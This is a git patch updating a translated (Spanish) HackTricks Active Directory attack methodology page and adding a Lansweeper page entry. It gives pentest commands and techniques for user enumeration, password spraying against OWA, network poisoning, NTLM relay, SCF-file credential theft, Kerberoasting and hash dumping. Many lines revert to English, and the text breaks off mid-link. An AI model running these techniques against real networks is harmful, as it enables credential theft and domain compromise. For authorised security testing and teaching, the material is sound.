From a2fa3a6e9426ed8a1e886d2bb1a5e82bc821b6c9 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 10:49:00 +0000 Subject: [PATCH] Translated ['src/windows-hardening/active-directory-methodology/README.m --- src/SUMMARY.md | 1 + .../active-directory-methodology/README.md | 541 ++++++++++-------- .../acl-persistence-abuse/README.md | 106 ++-- .../lansweeper-security.md | 153 +++++ 4 files changed, 503 insertions(+), 298 deletions(-) create mode 100644 src/windows-hardening/active-directory-methodology/lansweeper-security.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 1b61cadc6..5d6679535 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -284,6 +284,7 @@ - [Kerberoast](windows-hardening/active-directory-methodology/kerberoast.md) - [Kerberos Authentication](windows-hardening/active-directory-methodology/kerberos-authentication.md) - [Kerberos Double Hop Problem](windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md) + - [Lansweeper Security](windows-hardening/active-directory-methodology/lansweeper-security.md) - [LAPS](windows-hardening/active-directory-methodology/laps.md) - [MSSQL AD Abuse](windows-hardening/active-directory-methodology/abusing-ad-mssql.md) - [Over Pass the Hash/Pass the Key](windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md) diff --git a/src/windows-hardening/active-directory-methodology/README.md b/src/windows-hardening/active-directory-methodology/README.md index b0f5d8361..fb0e728bc 100644 --- a/src/windows-hardening/active-directory-methodology/README.md +++ b/src/windows-hardening/active-directory-methodology/README.md @@ -4,51 +4,51 @@ ## Visión general básica -**Active Directory** sirve como una tecnología fundamental, permitiendo a los **administradores de red** crear y gestionar de manera eficiente **dominios**, **usuarios** y **objetos** dentro de una red. Está diseñado para escalar, facilitando la organización de un gran número de usuarios en **grupos** y **subgrupos** manejables, mientras controla los **derechos de acceso** en varios niveles. +**Active Directory** sirve como una tecnología fundamental, que permite a los **administradores de red** crear y gestionar de forma eficiente **dominios**, **usuarios** y **objetos** dentro de una red. Está diseñado para escalar, facilitando la organización de un gran número de usuarios en **grupos** y **subgrupos** manejables, mientras controla los **derechos de acceso** en varios niveles. -La estructura de **Active Directory** se compone de tres capas principales: **dominios**, **árboles** y **bosques**. Un **dominio** abarca una colección de objetos, como **usuarios** o **dispositivos**, que comparten una base de datos común. Los **árboles** son grupos de estos dominios vinculados por una estructura compartida, y un **bosque** representa la colección de múltiples árboles, interconectados a través de **relaciones de confianza**, formando la capa más alta de la estructura organizativa. Se pueden designar derechos de **acceso** y **comunicación** específicos en cada uno de estos niveles. +La estructura de **Active Directory** está compuesta por tres capas principales: **dominios**, **árboles** y **bosques**. Un **dominio** abarca una colección de objetos, como **usuarios** o **dispositivos**, que comparten una base de datos común. Los **árboles** son grupos de estos dominios enlazados por una estructura compartida, y un **bosque** representa la colección de múltiples árboles, interconectados mediante **relaciones de confianza**, formando la capa superior de la estructura organizativa. Se pueden designar **derechos de acceso** y **comunicación** específicos en cada uno de estos niveles. -Los conceptos clave dentro de **Active Directory** incluyen: +Conceptos clave dentro de **Active Directory** incluyen: -1. **Directorio** – Alberga toda la información relacionada con los objetos de Active Directory. +1. **Directorio** – Contiene toda la información relativa a los objetos de Active Directory. 2. **Objeto** – Denota entidades dentro del directorio, incluyendo **usuarios**, **grupos** o **carpetas compartidas**. -3. **Dominio** – Sirve como un contenedor para objetos de directorio, con la capacidad de que múltiples dominios coexistan dentro de un **bosque**, cada uno manteniendo su propia colección de objetos. -4. **Árbol** – Un agrupamiento de dominios que comparten un dominio raíz común. +3. **Dominio** – Sirve como contenedor para objetos del directorio, con la capacidad de que múltiples dominios coexistan dentro de un **bosque**, cada uno manteniendo su propia colección de objetos. +4. **Árbol** – Agrupación de dominios que comparten un dominio raíz común. 5. **Bosque** – La cúspide de la estructura organizativa en Active Directory, compuesto por varios árboles con **relaciones de confianza** entre ellos. -**Active Directory Domain Services (AD DS)** abarca una gama de servicios críticos para la gestión y comunicación centralizada dentro de una red. Estos servicios comprenden: +**Active Directory Domain Services (AD DS)** abarca una serie de servicios críticos para la gestión centralizada y la comunicación dentro de una red. Estos servicios comprenden: -1. **Servicios de Dominio** – Centraliza el almacenamiento de datos y gestiona las interacciones entre **usuarios** y **dominios**, incluyendo funcionalidades de **autenticación** y **búsqueda**. -2. **Servicios de Certificado** – Supervisa la creación, distribución y gestión de **certificados digitales** seguros. -3. **Servicios de Directorio Ligero** – Soporta aplicaciones habilitadas para directorios a través del **protocolo LDAP**. -4. **Servicios de Federación de Directorio** – Proporciona capacidades de **inicio de sesión único** para autenticar usuarios a través de múltiples aplicaciones web en una sola sesión. -5. **Gestión de Derechos** – Ayuda a proteger material con derechos de autor regulando su distribución y uso no autorizados. -6. **Servicio DNS** – Crucial para la resolución de **nombres de dominio**. +1. **Domain Services** – Centraliza el almacenamiento de datos y gestiona las interacciones entre **usuarios** y **dominios**, incluyendo **autenticación** y funciones de **búsqueda**. +2. **Certificate Services** – Supervisa la creación, distribución y gestión de **certificados digitales** seguros. +3. **Lightweight Directory Services** – Soporta aplicaciones habilitadas para directorio mediante el **protocolo LDAP**. +4. **Directory Federation Services** – Proporciona capacidades de **single-sign-on** para autenticar usuarios en múltiples aplicaciones web en una sola sesión. +5. **Rights Management** – Ayuda a proteger material con derechos de autor regulando su distribución y uso no autorizados. +6. **DNS Service** – Crucial para la resolución de **nombres de dominio**. -Para una explicación más detallada, consulta: [**TechTerms - Definición de Active Directory**](https://techterms.com/definition/active_directory) +Para una explicación más detallada consulta: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory) -### **Autenticación Kerberos** +### **Kerberos Authentication** -Para aprender a **atacar un AD**, necesitas **entender** muy bien el **proceso de autenticación Kerberos**.\ -[**Lee esta página si aún no sabes cómo funciona.**](kerberos-authentication.md) +Para aprender a **atacar un AD** necesitas **entender** muy bien el **proceso de autenticación Kerberos**.\ +[**Read this page if you still don't know how it works.**](kerberos-authentication.md) -## Hoja de trucos +## Hoja de referencia -Puedes visitar [https://wadcoms.github.io/](https://wadcoms.github.io) para tener una vista rápida de qué comandos puedes ejecutar para enumerar/explotar un AD. +Puedes acudir a [https://wadcoms.github.io/](https://wadcoms.github.io) para obtener una vista rápida de qué comandos puedes ejecutar para enumerar/explotar un AD. > [!WARNING] -> La comunicación de Kerberos **requiere un nombre completamente calificado (FQDN)** para realizar acciones. Si intentas acceder a una máquina por la dirección IP, **utilizará NTLM y no Kerberos**. +> La comunicación Kerberos **requiere un nombre completamente calificado (FQDN)** para realizar acciones. Si intentas acceder a una máquina por la dirección IP, **usará NTLM y no Kerberos**. -## Reconocimiento de Active Directory (Sin credenciales/sesiones) +## Recon Active Directory (sin credenciales/sesiones) Si solo tienes acceso a un entorno AD pero no tienes credenciales/sesiones, podrías: -- **Pentestear la red:** -- Escanear la red, encontrar máquinas y puertos abiertos e intentar **explotar vulnerabilidades** o **extraer credenciales** de ellas (por ejemplo, [las impresoras podrían ser objetivos muy interesantes](ad-information-in-printers.md)). -- Enumerar DNS podría proporcionar información sobre servidores clave en el dominio como web, impresoras, comparticiones, vpn, medios, etc. +- **Pentest the network:** +- Escanea la red, encuentra máquinas y puertos abiertos e intenta **explotar vulnerabilidades** o **extraer credenciales** de ellas (por ejemplo, [las impresoras podrían ser objetivos muy interesantes](ad-information-in-printers.md)). +- La enumeración de DNS puede dar información sobre servidores clave en el dominio como web, impresoras, recursos compartidos, vpn, media, etc. - `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt` -- Echa un vistazo a la [**Metodología de Pentesting**](../../generic-methodologies-and-resources/pentesting-methodology.md) para encontrar más información sobre cómo hacer esto. -- **Verificar acceso nulo y de invitado en servicios smb** (esto no funcionará en versiones modernas de Windows): +- Consulta la [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) general para encontrar más información sobre cómo hacer esto. +- **Comprueba acceso null y Guest en servicios smb** (esto no funcionará en versiones modernas de Windows): - `enum4linux -a -u "" -p "" && enum4linux -a -u "guest" -p "" ` - `smbmap -u "" -p "" -P 445 -H && smbmap -u "guest" -p "" -P 445 -H ` - `smbclient -U '%' -L // && smbclient -U 'guest%' -L //` @@ -59,31 +59,31 @@ Si solo tienes acceso a un entorno AD pero no tienes credenciales/sesiones, podr ../../network-services-pentesting/pentesting-smb/ {{#endref}} -- **Enumerar Ldap** +- **Enumerar LDAP** - `nmap -n -sV --script "ldap* and not brute" -p 389 ` -- Una guía más detallada sobre cómo enumerar LDAP se puede encontrar aquí (presta **especial atención al acceso anónimo**): +- Una guía más detallada sobre cómo enumerar LDAP se puede encontrar aquí (presta **atención especial al acceso anónimo**): {{#ref}} ../../network-services-pentesting/pentesting-ldap.md {{#endref}} -- **Envenenar la red** -- Recolectar credenciales [**suplantando servicios con Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -- Acceder al host [**abusando del ataque de retransmisión**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) -- Recolectar credenciales **exponiendo** [**servicios UPnP falsos con evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) +- **Poison the network** +- Recopilar credenciales **suplantando servicios con Responder** (../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +- Acceder al host **abusando del relay attack** (../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) +- Recopilar credenciales **exponiendo servicios UPnP falsos con evil-S** (../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) - [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html): -- Extraer nombres de usuario/nombres de documentos internos, redes sociales, servicios (principalmente web) dentro de los entornos de dominio y también de los disponibles públicamente. -- Si encuentras los nombres completos de los trabajadores de la empresa, podrías intentar diferentes **convenciones de nombres de usuario de AD** (**[lee esto](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Las convenciones más comunes son: _NombreApellido_, _Nombre.Apellido_, _NamSur_ (3 letras de cada uno), _Nam.Sur_, _NSurname_, _N.Surname_, _ApellidoNombre_, _Apellido.Nombre_, _ApellidoN_, _Apellido.N_, 3 _letras aleatorias y 3 números aleatorios_ (abc123). +- Extraer nombres de usuario/nombres completos de documentos internos, redes sociales, servicios (principalmente web) dentro de los entornos del dominio y también de los disponibles públicamente. +- Si encuentras los nombres completos de los empleados de la empresa, podrías probar diferentes **convenios de nombres de usuario AD** ([**lee esto**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Las convenciones más comunes son: _NameSurname_, _Name.Surname_, _NamSur_ (3 letras de cada), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _letras aleatorias y 3 números aleatorios_ (abc123). - Herramientas: - [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username) - [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy) ### Enumeración de usuarios -- **Enumeración anónima SMB/LDAP:** Consulta las páginas de [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) y [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md). -- **Enumeración Kerbrute**: Cuando se solicita un **nombre de usuario inválido**, el servidor responderá utilizando el código de error de **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, lo que nos permite determinar que el nombre de usuario era inválido. Los **nombres de usuario válidos** provocarán ya sea el **TGT en una respuesta AS-REP** o el error _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicando que se requiere que el usuario realice una pre-autenticación. -- **Sin autenticación contra MS-NRPC**: Usando auth-level = 1 (Sin autenticación) contra la interfaz MS-NRPC (Netlogon) en controladores de dominio. El método llama a la función `DsrGetDcNameEx2` después de enlazar la interfaz MS-NRPC para verificar si el usuario o computadora existe sin ninguna credencial. La herramienta [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) implementa este tipo de enumeración. La investigación se puede encontrar [aquí](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf) +- **Anonymous SMB/LDAP enum:** Revisa las páginas de [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) y [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md). +- **Kerbrute enum**: Cuando se solicita un **nombre de usuario inválido**, el servidor responderá usando el código de error de **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, lo que nos permite determinar que el nombre de usuario era inválido. Los **nombres de usuario válidos** provocarán ya sea el **TGT en un AS-REP** como respuesta o el error _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicando que al usuario se le requiere realizar pre-autenticación. +- **No Authentication against MS-NRPC**: Usando auth-level = 1 (Sin autenticación) contra la interfaz MS-NRPC (Netlogon) en controladores de dominio. El método llama a la función `DsrGetDcNameEx2` después de enlazar la interfaz MS-NRPC para comprobar si el usuario o el equipo existe sin credenciales. La herramienta [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) implementa este tipo de enumeración. La investigación puede encontrarse [aquí](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf) ```bash ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases @@ -95,9 +95,9 @@ msf> use auxiliary/gather/kerberos_enumusers crackmapexec smb dominio.es -u '' -p '' --users | awk '{print $4}' | uniq python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/NauthNRPC ``` -- **Servidor OWA (Outlook Web Access)** +- **OWA (Outlook Web Access) Server** -Si encuentras uno de estos servidores en la red, también puedes realizar **enumeración de usuarios contra él**. Por ejemplo, podrías usar la herramienta [**MailSniper**](https://github.com/dafthack/MailSniper): +Si encuentras uno de estos servidores en la red, también puedes realizar **enumeración de usuarios** contra él. Por ejemplo, podrías usar la herramienta [**MailSniper**](https://github.com/dafthack/MailSniper): ```bash ipmo C:\Tools\MailSniper\MailSniper.ps1 # Get info about the domain @@ -110,99 +110,104 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt ``` > [!WARNING] -> Puedes encontrar listas de nombres de usuario en [**este repositorio de github**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) y este otro ([**nombres de usuario estadísticamente probables**](https://github.com/insidetrust/statistically-likely-usernames)). +> You can find lists of usernames in [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) and this one ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)). > -> Sin embargo, deberías tener el **nombre de las personas que trabajan en la empresa** del paso de reconocimiento que deberías haber realizado antes de esto. Con el nombre y apellido podrías usar el script [**namemash.py**](https://gist.github.com/superkojiman/11076951) para generar posibles nombres de usuario válidos. +> However, you should have the **name of the people working on the company** from the recon step you should have performed before this. With the name and surname you could used the script [**namemash.py**](https://gist.github.com/superkojiman/11076951) to generate potential valid usernames. -### Conociendo uno o varios nombres de usuario +### Knowing one or several usernames -Ok, así que ya sabes que tienes un nombre de usuario válido pero no contraseñas... Entonces intenta: +Ok, so you know you have already a valid username but no passwords... Then try: + +- [**ASREPRoast**](asreproast.md): If a user **doesn't have** the attribute _DONT_REQ_PREAUTH_ you can **request a AS_REP message** for that user that will contain some data encrypted by a derivation of the password of the user. +- [**Password Spraying**](password-spraying.md): Let's try the most **common passwords** with each of the discovered users, maybe some user is using a bad password (keep in mind the password policy!). +- Note that you can also **spray OWA servers** to try to get access to the users mail servers. -- [**ASREPRoast**](asreproast.md): Si un usuario **no tiene** el atributo _DONT_REQ_PREAUTH_, puedes **solicitar un mensaje AS_REP** para ese usuario que contendrá algunos datos encriptados por una derivación de la contraseña del usuario. -- [**Password Spraying**](password-spraying.md): Intentemos las contraseñas más **comunes** con cada uno de los usuarios descubiertos, tal vez algún usuario esté usando una mala contraseña (¡ten en cuenta la política de contraseñas!). -- Ten en cuenta que también puedes **spray servidores OWA** para intentar acceder a los servidores de correo de los usuarios. {{#ref}} password-spraying.md {{#endref}} -### Envenenamiento LLMNR/NBT-NS +### LLMNR/NBT-NS Poisoning + +You might be able to **obtain** some challenge **hashes** to crack **poisoning** some protocols of the **network**: -Podrías ser capaz de **obtener** algunos **hashes** de desafío para romper **envenenando** algunos protocolos de la **red**: {{#ref}} ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {{#endref}} -### Relevo NTLM +### NTLM Relay -Si has logrado enumerar el directorio activo, tendrás **más correos electrónicos y una mejor comprensión de la red**. Podrías forzar ataques de NTLM [**relay**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) para obtener acceso al entorno de AD. +If you have managed to enumerate the active directory you will have **more emails and a better understanding of the network**. You might be able to to force NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) to get access to the AD env. -### Robar Credenciales NTLM +### Steal NTLM Creds + +If you can **access other PCs or shares** with the **null or guest user** you could **place files** (like a SCF file) that if somehow accessed will t**rigger an NTLM authentication against you** so you can **steal** the **NTLM challenge** to crack it: -Si puedes **acceder a otras PC o recursos compartidos** con el **usuario nulo o invitado**, podrías **colocar archivos** (como un archivo SCF) que, si se accede de alguna manera, **activarán una autenticación NTLM contra ti** para que puedas **robar** el **desafío NTLM** y romperlo: {{#ref}} ../ntlm/places-to-steal-ntlm-creds.md {{#endref}} -## Enumerando Active Directory CON credenciales/sesión +## Enumerating Active Directory WITH credentials/session -Para esta fase necesitas haber **comprometido las credenciales o una sesión de una cuenta de dominio válida.** Si tienes algunas credenciales válidas o una shell como usuario de dominio, **debes recordar que las opciones dadas antes siguen siendo opciones para comprometer a otros usuarios**. +For this phase you need to have **compromised the credentials or a session of a valid domain account.** If you have some valid credentials or a shell as a domain user, **you should remember that the options given before are still options to compromise other users**. + +Before start the authenticated enumeration you should know what is the **Kerberos double hop problem.** -Antes de comenzar la enumeración autenticada, deberías saber cuál es el **problema del doble salto de Kerberos.** {{#ref}} kerberos-double-hop-problem.md {{#endref}} -### Enumeración +### Enumeration -Haber comprometido una cuenta es un **gran paso para comenzar a comprometer todo el dominio**, porque podrás iniciar la **Enumeración de Active Directory:** +Having compromised an account is a **big step to start compromising the whole domain**, because you are going to be able to start the **Active Directory Enumeration:** -Respecto a [**ASREPRoast**](asreproast.md), ahora puedes encontrar cada posible usuario vulnerable, y respecto a [**Password Spraying**](password-spraying.md), puedes obtener una **lista de todos los nombres de usuario** y probar la contraseña de la cuenta comprometida, contraseñas vacías y nuevas contraseñas prometedoras. +Regarding [**ASREPRoast**](asreproast.md) you can now find every possible vulnerable user, and regarding [**Password Spraying**](password-spraying.md) you can get a **list of all the usernames** and try the password of the compromised account, empty passwords and new promising passwords. -- Podrías usar el [**CMD para realizar un reconocimiento básico**](../basic-cmd-for-pentesters.md#domain-info) -- También puedes usar [**powershell para reconocimiento**](../basic-powershell-for-pentesters/index.html), que será más sigiloso -- También puedes [**usar powerview**](../basic-powershell-for-pentesters/powerview.md) para extraer información más detallada -- Otra herramienta increíble para reconocimiento en un directorio activo es [**BloodHound**](bloodhound.md). No es **muy sigiloso** (dependiendo de los métodos de recolección que uses), pero **si no te importa** eso, definitivamente deberías probarlo. Encuentra dónde los usuarios pueden RDP, encuentra rutas a otros grupos, etc. -- **Otras herramientas automatizadas de enumeración de AD son:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.** -- [**Registros DNS del AD**](ad-dns-records.md) ya que podrían contener información interesante. -- Una **herramienta con GUI** que puedes usar para enumerar el directorio es **AdExplorer.exe** del **SysInternal** Suite. -- También puedes buscar en la base de datos LDAP con **ldapsearch** para buscar credenciales en los campos _userPassword_ y _unixUserPassword_, o incluso para _Description_. cf. [Contraseña en el comentario de usuario AD en PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) para otros métodos. -- Si estás usando **Linux**, también podrías enumerar el dominio usando [**pywerview**](https://github.com/the-useless-one/pywerview). -- También podrías intentar herramientas automatizadas como: +- You could use the [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info) +- You can also use [**powershell for recon**](../basic-powershell-for-pentesters/index.html) which will be stealthier +- You can also [**use powerview**](../basic-powershell-for-pentesters/powerview.md) to extract more detailed information +- Another amazing tool for recon in an active directory is [**BloodHound**](bloodhound.md). It is **not very stealthy** (depending on the collection methods you use), but **if you don't care** about that, you should totally give it a try. Find where users can RDP, find path to other groups, etc. +- **Other automated AD enumeration tools are:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.** +- [**DNS records of the AD**](ad-dns-records.md) as they might contain interesting information. +- A **tool with GUI** that you can use to enumerate the directory is **AdExplorer.exe** from **SysInternal** Suite. +- You can also search in the LDAP database with **ldapsearch** to look for credentials in fields _userPassword_ & _unixUserPassword_, or even for _Description_. cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) for other methods. +- If you are using **Linux**, you could also enumerate the domain using [**pywerview**](https://github.com/the-useless-one/pywerview). +- You could also try automated tools as: - [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch) - [**61106960/adPEAS**](https://github.com/61106960/adPEAS) -- **Extrayendo todos los usuarios del dominio** +- **Extracting all domain users** -Es muy fácil obtener todos los nombres de usuario del dominio desde Windows (`net user /domain`, `Get-DomainUser` o `wmic useraccount get name,sid`). En Linux, puedes usar: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` o `enum4linux -a -u "user" -p "password" ` +It's very easy to obtain all the domain usernames from Windows (`net user /domain` ,`Get-DomainUser` or `wmic useraccount get name,sid`). In Linux, you can use: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` or `enum4linux -a -u "user" -p "password" ` -> Incluso si esta sección de Enumeración parece pequeña, esta es la parte más importante de todas. Accede a los enlaces (principalmente el de cmd, powershell, powerview y BloodHound), aprende cómo enumerar un dominio y practica hasta que te sientas cómodo. Durante una evaluación, este será el momento clave para encontrar tu camino hacia DA o decidir que no se puede hacer nada. +> Even if this Enumeration section looks small this is the most important part of all. Access the links (mainly the one of cmd, powershell, powerview and BloodHound), learn how to enumerate a domain and practice until you feel comfortable. During an assessment, this will be the key moment to find your way to DA or to decide that nothing can be done. ### Kerberoast -Kerberoasting implica obtener **tickets TGS** utilizados por servicios vinculados a cuentas de usuario y romper su encriptación—que se basa en contraseñas de usuario—**fuera de línea**. +Kerberoasting involves obtaining **TGS tickets** used by services tied to user accounts and cracking their encryption—which is based on user passwords—**offline**. + +More about this in: -Más sobre esto en: {{#ref}} kerberoast.md {{#endref}} -### Conexión remota (RDP, SSH, FTP, Win-RM, etc) +### Remote connexion (RDP, SSH, FTP, Win-RM, etc) -Una vez que hayas obtenido algunas credenciales, podrías verificar si tienes acceso a alguna **máquina**. Para ello, podrías usar **CrackMapExec** para intentar conectarte a varios servidores con diferentes protocolos, de acuerdo a tus escaneos de puertos. +Once you have obtained some credentials you could check if you have access to any **machine**. For that matter, you could use **CrackMapExec** to attempt connecting on several servers with different protocols, accordingly to your ports scans. -### Escalación de privilegios local +### Local Privilege Escalation -Si has comprometido credenciales o una sesión como un usuario de dominio regular y tienes **acceso** con este usuario a **cualquier máquina en el dominio**, deberías intentar encontrar la manera de **escalar privilegios localmente y buscar credenciales**. Esto se debe a que solo con privilegios de administrador local podrás **volcar hashes de otros usuarios** en memoria (LSASS) y localmente (SAM). +If you have compromised credentials or a session as a regular domain user and you have **access** with this user to **any machine in the domain** you should try to find your way to **escalate privileges locally and looting for credentials**. This is because only with local administrator privileges you will be able to **dump hashes of other users** in memory (LSASS) and locally (SAM). -Hay una página completa en este libro sobre [**escalación de privilegios local en Windows**](../windows-local-privilege-escalation/index.html) y una [**lista de verificación**](../checklist-windows-privilege-escalation.md). Además, no olvides usar [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite). +There is a complete page in this book about [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) and a [**checklist**](../checklist-windows-privilege-escalation.md). Also, don't forget to use [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite). -### Tickets de sesión actuales +### Current Session Tickets -Es muy **improbable** que encuentres **tickets** en el usuario actual **dándote permiso para acceder** a recursos inesperados, pero podrías verificar: +It's very **unlikely** that you will find **tickets** in the current user **giving you permission to access** unexpected resources, but you could check: ```bash ## List all tickets (if not admin, only current user tickets) .\Rubeus.exe triage @@ -212,17 +217,17 @@ Es muy **improbable** que encuentres **tickets** en el usuario actual **dándote ``` ### NTLM Relay -Si has logrado enumerar el directorio activo, tendrás **más correos electrónicos y una mejor comprensión de la red**. Podrías ser capaz de forzar ataques de NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.** +Si has logrado enumerar el Active Directory tendrás **más emails y una mejor comprensión de la red**. Es posible que puedas forzar NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.** -### Busca Credenciales en Comparticiones de Computadora | Comparticiones SMB +### Looks for Creds in Computer Shares | SMB Shares -Ahora que tienes algunas credenciales básicas, deberías verificar si puedes **encontrar** archivos **interesantes que se compartan dentro del AD**. Podrías hacerlo manualmente, pero es una tarea muy aburrida y repetitiva (y más si encuentras cientos de documentos que necesitas revisar). +Ahora que tienes algunas credentials básicas deberías comprobar si puedes **find** any **interesting files being shared inside the AD**. Podrías hacerlo manualmente pero es una tarea muy aburrida y repetitiva (y más si encuentras cientos de docs que necesitas revisar). -[**Sigue este enlace para aprender sobre herramientas que podrías usar.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search) +[**Follow this link to learn about tools you could use.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search) -### Robar Credenciales NTLM +### Steal NTLM Creds -Si puedes **acceder a otras PC o comparticiones**, podrías **colocar archivos** (como un archivo SCF) que, si se accede de alguna manera, **activarán una autenticación NTLM contra ti**, para que puedas **robar** el **reto NTLM** y crackearlo: +Si puedes **access other PCs or shares** podrías **place files** (like a SCF file) que si de alguna forma se acceden **trigger an NTLM authentication against you** para que puedas **steal** el **NTLM challenge** para crackearlo: {{#ref}} @@ -231,50 +236,50 @@ Si puedes **acceder a otras PC o comparticiones**, podrías **colocar archivos** ### CVE-2021-1675/CVE-2021-34527 PrintNightmare -Esta vulnerabilidad permitió a cualquier usuario autenticado **comprometer el controlador de dominio**. +Esta vulnerabilidad permitió a cualquier usuario autenticado **comprometer el domain controller**. {{#ref}} printnightmare.md {{#endref}} -## Escalación de privilegios en Active Directory CON credenciales/sesión privilegiadas +## Privilege escalation on Active Directory WITH privileged credentials/session -**Para las siguientes técnicas, un usuario de dominio regular no es suficiente, necesitas algunos privilegios/credenciales especiales para realizar estos ataques.** +**Para las siguientes técnicas un usuario de dominio normal no es suficiente, necesitas algunos privilegios/credentials especiales para realizar estos ataques.** -### Extracción de Hash +### Hash extraction -Con suerte, has logrado **comprometer alguna cuenta de administrador local** usando [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) incluyendo el relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalando privilegios localmente](../windows-local-privilege-escalation/index.html).\ -Luego, es hora de volcar todos los hashes en memoria y localmente.\ -[**Lee esta página sobre diferentes formas de obtener los hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) +Con suerte has logrado **comprometer alguna cuenta de administrador local** usando [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) including relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\ +Entonces, es hora de volcar todos los hashes en memoria y localmente.\ +[**Read this page about different ways to obtain the 